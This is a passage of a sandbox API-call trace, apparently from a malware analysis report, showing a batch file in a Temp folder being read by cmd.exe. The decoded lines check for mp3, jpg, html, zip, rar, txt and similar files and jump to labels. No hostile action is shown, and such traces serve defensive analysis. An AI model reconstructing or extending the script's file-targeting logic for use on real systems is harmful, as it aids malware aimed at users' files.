lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0037.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.093] GetFileType (hFile=0x74) returned 0x1 [0037.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x129 [0037.093] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0037.093] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n") returned 25 [0037.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0037.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.093] GetFileType (hFile=0x74) returned 0x1 [0037.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x142 [0037.093] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0037.093] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n") returned 2 [0037.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.093] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0037.093] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.094] GetFileType (hFile=0x74) returned 0x1 [0037.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144 [0037.094] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0037.094] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n") returned 25 [0037.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0037.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.094] GetFileType (hFile=0x74) returned 0x1 [0037.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15d [0037.094] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0037.094] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n") returned 2 [0037.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0037.094] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.094] GetFileType (hFile=0x74) returned 0x1 [0037.094] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15f [0037.095] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0037.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n") returned 25 [0037.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0037.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.095] GetFileType (hFile=0x74) returned 0x1 [0037.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x178 [0037.095] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=378, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0037.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n") returned 2 [0037.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0037.095] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.095] GetFileType (hFile=0x74) returned 0x1 [0037.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a [0037.095] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.095] SetFilePointer (in: hFile=0x74, lDistanceToMove=403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0037.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.png goto png\r\n") returned 25 [0037.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0037.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.096] GetFileType (hFile=0x74) returned 0x1 [0037.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x193 [0037.096] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0037.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n") returned 2 [0037.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0037.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.096] GetFileType (hFile=0x74) returned 0x1 [0037.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x195 [0037.096] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.096] SetFilePointer (in: hFile=0x74, lDistanceToMove=430, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0037.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n") returned 25 [0037.096] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0037.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.097] GetFileType (hFile=0x74) returned 0x1 [0037.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae [0037.097] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=432, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0037.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n") returned 2 [0037.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0037.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.097] GetFileType (hFile=0x74) returned 0x1 [0037.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b0 [0037.097] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=459, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0037.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.html goto html\r\n") returned 27 [0037.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.097] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0037.097] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.097] GetFileType (hFile=0x74) returned 0x1 [0037.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb [0037.098] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0037.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.html goto html\r\n") returned 2 [0037.098] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0037.098] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.098] GetFileType (hFile=0x74) returned 0x1 [0037.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cd [0037.098] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=486, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0037.098] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0037.098] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0037.098] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.098] GetFileType (hFile=0x74) returned 0x1 [0037.098] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1e6 [0037.098] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.099] SetFilePointer (in: hFile=0x74, lDistanceToMove=511, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0037.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n") returned 25 [0037.099] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.099] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0037.099] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.099] GetFileType (hFile=0x74) returned 0x1 [0037.099] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ff [0037.099] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.099] SetFilePointer (in: hFile=0x74, lDistanceToMove=540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0037.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto Ran\r\ncal\\Temp\\CAS5AY8X.bat\"") returned 29 [0037.099] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.099] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0037.099] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.099] GetFileType (hFile=0x74) returned 0x1 [0037.099] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x21c [0037.099] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.099] SetFilePointer (in: hFile=0x74, lDistanceToMove=569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0037.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto Ran\r\n") returned 29 [0037.099] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.100] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0037.100] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.100] GetFileType (hFile=0x74) returned 0x1 [0037.100] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x239 [0037.100] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.100] SetFilePointer (in: hFile=0x74, lDistanceToMove=598, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0037.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto Ran\r\n") returned 29 [0037.100] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.100] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0037.100] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.100] GetFileType (hFile=0x74) returned 0x1 [0037.100] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x256 [0037.100] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.100] SetFilePointer (in: hFile=0x74, lDistanceToMove=600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0037.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.zip goto Ran\r\n") returned 2 [0037.100] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.100] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0037.100] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.100] GetFileType (hFile=0x74) returned 0x1 [0037.101] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x258 [0037.101] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.101] SetFilePointer (in: hFile=0x74, lDistanceToMove=629, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0037.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto Ran\r\n") returned 29 [0037.101] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.101] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0037.101] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.101] GetFileType (hFile=0x74) returned 0x1 [0037.101] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x275 [0037.101] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.101] SetFilePointer (in: hFile=0x74, lDistanceToMove=631, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0037.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.rar goto Ran\r\n") returned 2 [0037.101] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.101] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0037.101] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.101] GetFileType (hFile=0x74) returned 0x1 [0037.101] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x277 [0037.101] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=660, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0037.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto Ran\r\n") returned 29 [0037.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0037.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.102] GetFileType (hFile=0x74) returned 0x1 [0037.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x294 [0037.102] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=662, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0037.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n NOT EXIST *.ink goto Ran\r\n") returned 2 [0037.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0037.102] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.102] GetFileType (hFile=0x74) returned 0x1 [0037.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x296 [0037.102] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.102] SetFilePointer (in: hFile=0x74, lDistanceToMove=691, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0037.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto Ran\r\n") returned 29 [0037.103] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.103] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2b3 [0037.103] _get_osfhandle 